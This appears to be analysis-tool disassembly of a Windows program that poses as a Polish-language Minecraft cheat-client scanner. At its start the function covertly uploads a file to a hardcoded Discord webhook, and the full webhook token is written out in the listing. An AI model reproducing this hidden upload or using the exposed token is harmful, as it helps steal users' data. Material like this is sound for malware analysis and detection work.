Function at 0x140003b20
Capabilities:
Execute command
Get graphical window text
Get system information on windows
Initialize winhttp library
Prepare http request
Receive http response
Send data
Send http request
Set http header
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x14000f008]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov rbx, rdx
xor r15d, r15d
mov r13d, r15d
mov dword [rsp + 0x40], r15d
mov dword [rbp + 0xa0], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Cpione_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x68], rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str._api_webhooks_1170162071472701521_hjDUstz67s9vAnHwFKF7iAiKR3vkJ39aNG04xZOn3JvRnLFWPbnmWH6BO6D6wrK4jaWY
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], r15
cmp qword [rbx + 0x18], 0x10
jb 0x140003bed
mov rbx, qword [rbx]
lea r8, [rbp + 0xa0]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003880
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x148], xmm1
mov r8d, 0x81
lea rdx, str.__1902_r_nContent_Disposition:_form_data__name_file___filename_czarna_duza_cipa.json__r_nContent_Type:_application_octet_stream_r_n_r_n
lea rcx, [rbp + 0x138]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], r15
mov r8d, 0xc
lea rdx, str._r_n__1902___r_n
lea rcx, [rbp + 0x118]
call fcn.140001c10
nop
mov r9d, 0x20000000
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_multipart_form_data_boundary__1902
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov edx, dword [rbp + 0x128]
add edx, dword [rbp + 0x148]
mov ebx, dword [rbp + 0xa0]
add edx, ebx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp + 0xa4], r15d
test eax, eax
je 0x140004aa6
lea rdx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0x10
cmovae rdx, qword [rbp + 0x138]
lea r9, [rbp + 0xa4]
mov r8d, dword [rbp + 0x148]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
lea r9, [rbp + 0xa4]
mov r8d, ebx
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rdx, qword [rbp + 0x118]
lea r9, [rbp + 0xa4]
mov r8d, dword [rbp + 0x128]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
test eax, eax
je 0x140004aa6
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
movzx eax, byte [0x14000f060]
test al, al
jne 0x140003d60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp al, 1
jne 0x140004aa6
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], r15
mov r8d, 0x13
lea rdx, str.Sprawdzanie_By_Golb
lea rcx, [rbp + 0xe0]
call fcn.140001c10
nop
mov edi, r15d
mov rsi, qword [rbp + 0xf0]
test rsi, rsi
je 0x140003dfb
mov rbx, r15
mov r14, qword [rbp + 0xf8]
mov r15, qword [rbp + 0xe0]
nop word [rax + rax]
lea rax, [rbp + 0xe0]
cmp r14, 0x10
cmovae rax, r15
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006f90
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, rsi
jb 0x140003dc0
xor r15d, r15d
lea rdx, [0x140006f50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.color_a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000ab20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, 0x16
lea rcx, [rbp + 0xe0]
call fcn.140006ca0
mov edi, r15d
mov rsi, qword [rbp + 0xf0]
test rsi, rsi
je 0x140003fed
mov rbx, r15
mov r13, qword [rbp + 0xe0]
mov r14, qword [rbp + 0xf8]
nop dword [rax + rax]
lea rax, [rbp + 0xe0]
cmp r14, 0x10
cmovae rax, r13
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006f90
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, rsi
jb 0x140003fb0
mov r13d, dword [rsp + 0x40]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000ab20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Trwa_Skanowanie
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
cmp dword [0x14000f064], 0
je 0x1400040ea
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14000a80c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
lea rdx, [0x140007150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14000a80c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
lea rdx, [0x140007150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14000a80c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
lea rdx, [0x140007150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._b_b_b____b_b_b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
lea rdx, [0x140007150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
sub dword [0x14000f064], 1
jne 0x140004025
lea rcx, [0x14000ab20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r14, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], rax
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x10], xmm1
lea r8d, [rax + 4]
lea rdx, str.3m__
lea rcx, [rbp - 0x20]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x10], xmm1
mov r8d, 0x4a
lea rdx, str.meteordevelopment_meteorclient_utils_render_postprocess_postprocessshaders
lea rcx, [rbp]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x30], xmm1
mov r8d, 0x1c
lea rdx, str.net_wurstclient_features_mod
lea rcx, [rbp + 0x20]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x50], xmm1
mov r8d, 0xe
lea rdx, str.org_bleachhack
lea rcx, [rbp + 0x40]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
mov r8d, 0x10
lea rdx, str.net_impactclient
lea rcx, [rbp + 0x60]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x90], xmm1
mov r8d, 0x16
lea rdx, str.net_aristois_opencode_
lea rcx, [rbp + 0x80]
call fcn.140001c10
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r15
mov ecx, 0xc0
call fcn.140007f00
mov rbx, rax
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], rax
lea rcx, [rax + 0xc0]
mov qword [rbp + 0xb8], rcx
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x40], rax
lea rdi, [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rbx
lea rax, [rbp + 0xa8]
mov qword [rbp + 0xd0], rax
mov rdx, rdi
mov rcx, rbx
call fcn.140001800
add rbx, 0x20
mov qword [rbp + 0xc8], rbx
add rdi, 0x20
lea rax, [rbp + 0xa0]
cmp rdi, rax
jne 0x140004271
mov rdx, rbx
mov rcx, rbx
call fcn.140007490
mov qword [rbp + 0xb0], rbx
lea r9, [fcn.1400015e0]
mov edx, 0x20
lea r8d, [rdx - 0x1a]
lea rcx, [rbp - 0x20]
call fcn.140007f78
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rax
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x70], xmm1
lea r8d, [rax + 9]
lea rdx, str.Minecraft
lea rcx, [rbp - 0x80]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x50], xmm1
mov r8d, 0xe
lea rdx, str.Feather_Client
lea rcx, [rbp - 0x60]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
mov r8d, 0xc
lea rdx, str.Lunar_Client
lea rcx, [rbp - 0x40]
call fcn.140001c10
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x100]
call fcn.140006740
nop
lea r9, [fcn.1400015e0]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rbp - 0x80]
call fcn.140007f78
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov r12, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140004b1b
mov r8d, 0x100
lea rdx, [rbp + 0x160]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowTextA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], r15
lea rax, [rbp + 0x160]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400043e0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xc0]
call fcn.140001c10
nop
or r13d, 1
mov dword [rbp + 0xa0], r13d
mov rbx, qword [rbp + 0x100]
mov r15, qword [rbp + 0x108]
cmp rbx, r15
je 0x140004492
mov rsi, qword [rbp + 0xd8]
mov r12, qword [rbp + 0xd0]
mov rdi, qword [rbp + 0xc0]
mov rax, qword [rbx + 0x10]
mov r9, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140004442
mov r9, qword [rbx]
lea rcx, [rbp + 0xc0]
cmp rsi, 0x10
cmovae rcx, rdi
mov qword [rsp + 0x20], rax
mov rdx, r12
call fcn.140007280
cmp rax, 0xffffffffffffffff
jne 0x14000446f
add rbx, 0x20
cmp rbx, r15
jne 0x140004431
jmp 0x1400044a0
mov r12, qword [rsp + 0x40]
mov rcx, r12
call fcn.1400036b0
test al, al
je 0x140004492
mov bl, 1
mov rsi, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0xc0]
jmp 0x1400044a7
mov rsi, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0xc0]
xor bl, bl
mov r12, qword [rsp + 0x40]
test r13b, 1
je 0x1400044e4
and r13d, 0xfffffffe
cmp rsi, 0x10
jb 0x1400044e4
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400044dc
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004512
mov rcx, rdi
call fcn.140007f44
test bl, bl
jne 0x140004519
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov r12, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140004b1b
xor r15d, r15d
jmp 0x1400043a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test r12, r12
je 0x140004b1b
lea rdx, [rbp + 0xa0]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0xa0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, r14
test rax, rax
jne 0x140004594
lea edx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Blad
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a40
lea rdx, [0x140006f50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Znaleziono_Minecrafta_o_PID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
mov edx, dword [rbp + 0xa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000ac7c]
call fcn.140001a40
mov edx, 8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0xa0], 0
jne 0x140004648
mov edx, 4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Nie_udalo_sie_uzyskac_PID
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a40
lea rdx, [0x140006f50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000ab20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov ebx, dword [rbp + 0xa0]
movdqa xmmword [rbp + 0x160], xmm0
xor r13d, r13d
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x1e0], r13
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x1a8], rax
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x160]
call fcn.1400011f0
mov r15d, r13d
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xc0]
call fcn.140001650
nop
mov r12, qword [rbp + 0xc8]
mov rbx, qword [rbp + 0xc0]
cmp rbx, r12
je 0x1400048e9
nop dword [rax + rax]
mov rsi, qword [rbx + 0x10]
mov rdx, rbx
mov rdi, qword [rbx + 0x18]
cmp rdi, 0x10
jb 0x140004734
mov rdx, qword [rbx]
cmp rsi, 4
jne 0x14000478a
mov rcx, r13
lea r8, str.3m__
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140004769
cmp rcx, 4
jne 0x140004750
mov eax, r13d
jmp 0x14000476e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000478a
lea edx, [rax + 4]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Doomsday_Client_
jmp 0x1400048b0
mov rcx, rbx
cmp rdi, 0x10
jb 0x140004796
mov rcx, qword [rbx]
cmp rsi, 0x4a
jne 0x1400047c7
mov r8, rsi
lea rdx, str.meteordevelopment_meteorclient_utils_render_postprocess_postprocessshaders
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400047c7
lea edx, [rsi - 0x46]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Meteor_Client_
jmp 0x1400048b0
mov rcx, rbx
cmp rdi, 0x10
jb 0x1400047d3
mov rcx, qword [rbx]
cmp rsi, 0x1c
jne 0x140004804
mov r8, rsi
lea rdx, str.net_wurstclient_features_mod
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004804
lea edx, [rsi - 0x18]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Wurst_Client_
jmp 0x1400048b0
mov rcx, rbx
cmp rdi, 0x10
jb 0x140004810
mov rcx, qword [rbx]
cmp rsi, 0xe
jne 0x14000483e
mov r8, rsi
lea rdx, str.org_bleachhack
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000483e
lea edx, [rsi - 0xa]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Bleachhack_Client_
jmp 0x1400048b0
mov rcx, rbx
cmp rdi, 0x10
jb 0x14000484a
mov rcx, qword [rbx]
cmp rsi, 0x10
jne 0x140004878
mov r8, rsi
lea rdx, str.net_impactclient
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004878
lea edx, [rsi - 0xc]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Impact_Client_
jmp 0x1400048b0
mov rcx, rbx
cmp rdi, 0x10
jb 0x140004884
mov rcx, qword [rbx]
cmp rsi, 0x16
jne 0x1400048d9
mov r8, rsi
lea rdx, str.net_aristois_opencode_
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400048d9
lea edx, [rsi - 0x12]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Aristois_Client_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
lea rdx, [0x14000a7b8]
mov rcx, rax
call fcn.140001a40
mov edx, 8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc r15d
add rbx, 0x28
cmp rbx, r12
jne 0x140004720
lea rcx, [rbp + 0xc0]
call fcn.140001960
test r15d, r15d
jne 0x140004927
lea edx, [r15 + 1]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Gracz_jest_czysty__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
lea edx, [r15 + 8]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, 2
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Zakonczono_skanowanie_aplikacja_po_chwili_sie_zamknie__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
mov edx, 8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x160]
call fcn.140001960
nop
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x1400049ed
mov rdx, qword [rbp + 0x108]
call fcn.140007490
mov rdx, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x100]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007f44
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x100], xmm0
xor r15d, r15d
mov qword [rbp + 0x110], r15
jmp 0x1400049f0
xor r15d, r15d
mov rcx, qword [rbp + 0xa8]
test rcx, rcx
je 0x140004a5c
mov rdx, qword [rbp + 0xb0]
call fcn.140007490
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xa8]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a45
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007f44
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r15
mov rax, qword [rbp + 0xf8]
cmp rax, 0x10
jb 0x140004aa1
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007f44
mov rdi, qword [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r8, qword [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140004b83
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b7e
add rdx, 0x27
